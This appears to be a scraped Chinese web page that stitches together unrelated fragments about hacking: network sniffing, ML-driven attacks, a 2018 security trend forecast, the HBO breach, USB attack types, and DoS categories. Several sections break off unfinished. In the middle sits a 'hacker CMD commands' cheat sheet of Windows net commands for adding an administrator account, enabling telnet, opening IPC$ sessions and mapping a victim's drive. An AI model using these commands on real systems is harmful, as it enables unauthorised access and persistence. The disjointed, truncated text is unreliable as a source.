网络攻击

黑客常用的攻击手段,每种都有自己的特色

黑客攻击手段可分为非破坏性攻击和破坏性攻击两类。非破坏性攻击一般是为了扰乱系统的运行,并不盗窃系统资料,通常采用拒绝服务攻击或信息炸弹;破坏性攻击是以侵入他人电脑系统、盗窃系统保密信息、破坏目标系统的数据为目的。

下面为大家介绍几种黑客常用的攻击手段。

1、网络嗅探与监听

网络嗅探其实最开始是应用于网络管理的,就像远程控制软件一样。但是随着黑客技术的进步,这些强大的功能就开始被黑客们的所利用。最普遍的安全威胁来自内部,同时这些威胁通常是致命的,破坏性非常大。很多黑客使用嗅探器进行网络入侵渗透。网络监听是一种监视网络状态、数据流以及网络上传输信息的管理工具,它可以将网络接口设置在监听模式,并且可以截获网上传输的信息,也就是说,当黑客登录网络主机并取得超级用户权限后,若要登录其他主机,使用网络监听可以有效地截获网上的数据,这是黑客使用的最多的方法,但是,网络监听只能应用于物理连接于同一网段的主机,通常被用于获取用户口令。

2、后门程序

基于机器学习发起网络攻击的六种方式

机器学习算法能改进安全解决方案,帮助人类分析师更快地分类威胁和修补漏洞。但同时,黑客也能利用机器学习发起更大更复杂的攻击。

机器学习被定义为“计算机未经显式编程情况下的学习能力”,是信息安全行业的一大福音。从恶意软件到日志分析,再到早期漏洞发现与修复,安全分析师可从机器学习中获益良多。或许,该技术也能提升终端安全,自动化重复性任务,甚至降低数据泄露的发生率。

于是,人们很自然地认为,这些智能安全解决方案会比传统遗留工具更快地发现并阻止下一波WannaCry攻击。人工智能和机器学习尚属新生领域,但无疑指明了未来的方向,将极大地改变安全运营方式。

现下数据和App爆炸式增长,除非运用建立在AI基础上的自动化系统,否则我们将无法分析这海量的网络流量和用户交互活动,安全也就沦为空谈了。

然而问题在于,黑客也知道这些技术,也想打造自己的AI和机器学习工具来发起攻击。

网络罪犯是怎么利用机器学习的?

有组织犯罪越来越多,暗网上也出现了各种各样的黑客服务,网络罪犯们的创新速度令安全防御追赶不及。于是,像机器学习和深度学习这样的新兴技术就颇为令人担忧了,毕竟,技术就在那里,谁都能用。

黑客攻击常用CMD命令大全

黑客常用命令大全

net user heibai lovechina /add 加一个heibai的用户密码为lovechina
net localgroup Administrators heibai /add 把他加入Administrator组
net start telnet 开对方的TELNET服务
net use z:\127.0.0.1c$ 映射对方的C盘
net use \\ip\ipc$ " " /user:" " 建立IPC空链接
net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接
net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:
net use h: \\ip\c$ 登陆后映射对方C:到本地为H:
net use \\ip\ipc$ /del 删除IPC链接
net use h: /del 删除映射对方到本地的为H:的映射
net user 用户名 密码 /add 建立用户
net user 查看有哪些用户
net user 帐户名 查看帐户的属性

net user guest /active:yes 将Guest用户激活

新时代的网络安全新常态:2018中国网络安全十大趋势预测

两年前,时任RSA总裁Amit Yoran在RSAC的主题演讲中认为,在当今的网络安全威胁形势下,防御者如同拿着一张旧地图在海上航行,茫然无助。显在当今动态的、不对称的、复杂的和不确定的网络安全环境下,画地图已经徒劳无益,所以我们尝试着做一个指南针。

中国网络安全行业,不仅面临着全球网络空间共同的安全威胁,还有因为不同基础和不同发展阶段带来的个性问题挑战,以及因为不同的国家战略和政策法规下带来的监管环境的不同,这些都决定了我们需要自己的指南针。

为此360企业安全研究院邀请了近50位国内网络安全行业专家共同对2018年的行业风向进行把握和预测,在此基础上形成了《2018年中国网络安全十大趋势》,期望它成为一个指南针,帮助从事和关心网络安全行业发展的同仁们找准方向。

1、 勒索攻击成为网络攻击的一种新常态,攻击方式不断花样翻新

勒索软件是近两年来影响最大、最受关注的网络安全威胁之一。攻击者通过电子邮件、网络渗透、蠕虫病毒等多种形式,向受害者的电脑终端或服务器发起攻击,加密系统文件并勒索赎金。

从整体态势来看,2018年勒索软件的质量和数量将不断攀升,成为网络攻击的一种新常态。

解析阻止机器学习的十种网络攻击

即使是瑟曦.兰尼斯特的阴谋诡计或者乔拉.莫尔蒙爵士父亲般的保护(译注:两者都是HBO剧集《权力的游戏》中的人物)也无法阻止攻击者攻破HBO的网络并窃取了1.5TB的数据(包括未播出的《权力的游戏》剧集)。然而,机器学习可能已经为HBO的虚拟要塞提供了更好的防护。

人工智能(AI)和机器学习(ML)是众多辩论的主题,特别是在网络安全社区内更是如此。那么,机器学习会是下一个大的安全趋势吗?人工智能准备好了接受机器学习推动的攻击吗?总的来说,人工智能是否做好了使用的准备?无论你对于机器学习是否会成为网络安全救世主的看法如何,有两件事情却是真实的:一是分析在安全领域占有一席之地,二是机器学习在一些具体的使用案例中代表了我们今天所能给出的最好答案。

尽管有报道称黑客使用了”复杂老道”的入侵方法,但是很有可能的是黑客或黑客团体聪明地使用了常见的攻击方法攻入了这家银幕巨头的系统,并使用了 “little.finger66″(译注:”小指头66″,”小指头”是《权力的游戏》剧集人物培提尔.贝里席的绰号)这个绰号。

下面列举了一些使用案例,它们代表了一些会影响每一家企业的常见安全威胁。不过,机器学习可能是也可能不是网络安全的灵丹妙药,但在下面这些情况中,它肯定会有所帮助。

通过U口走进电脑——29种USB攻击类型

研究人员发现了使用USB设备来入侵用户计算机的29种方式,并依据攻击实施的方式将这29种利用方法划分为4类。

▲ 对USB设备的内部微控制器进行重新编程。这种设备看起来有点像某种USB设备,但是执行的功能却是其他的设备。
▲ 对USB设备的固件进行重新编程,来执行恶意行为,比如恶意文件下载、数据泄露等。
▲ 不对USB设备固件重新编程,但是会利用操作系统与USB协议和标准交互的漏洞。
▲ 基于USB的电力攻击。

USB攻击

对内部微控制器重新编程的USB攻击

1) Rubber Ducky -2010年发布的商业键盘按键注入攻击平台。一旦连接到主机,Rubber Ducky会伪装成电脑病注入预加载的按键序列。

2) PHUKD/URFUKED攻击平台。与Rubber Ducky类似,但是允许攻击者选择注入恶意按键序列的时间。

3) USBdriveby –通过模拟USB键盘和鼠标的操作几秒钟内就可以在解锁的OS X主机上安装后门并覆盖原来的DNS设置。

网络攻击的类型

一、 把有害程序放到你的计算机中

恶意软件 (malware) 进入计算机后,可以做各种不正当事情,比如删除文件、搜集敏感信息,也有可能变成僵尸网络 (botnet) 的一员。

恶意软件大致分为两类:

• 病毒 (virus)
需要某种形式的用户交互来感染用户设备的恶意软件,如包含恶意可执行代码的电子邮件附件。

• 蠕虫 (worm)
无需任何明显用户交互就能进入设备的恶意软件。

二、攻击服务器和基础设施

拒绝服务攻击 (Denial-of-Service (DOS) attack),即使得网络、主机或其他基础设施部分不能由合法用户使用。大多数因特网DoS攻击属于下面三种类型之一:

• 弱点攻击
向一台目标主机上运行的易受攻击的应用程序或操作系统发送制作精细的报文。
• 带宽洪泛
攻击者向目标主机发送大量分组,使得目标的接入链路变得拥塞,合法的分组无法到达服务器。
• 连接洪泛
在目标主机中创建大量的半开或全开TCP连接,导致主机因为伪造的连接陷入困境,并停止接受合法的连接。
分布式Dos (DDoS) 更加难以防范。

三、嗅探分组

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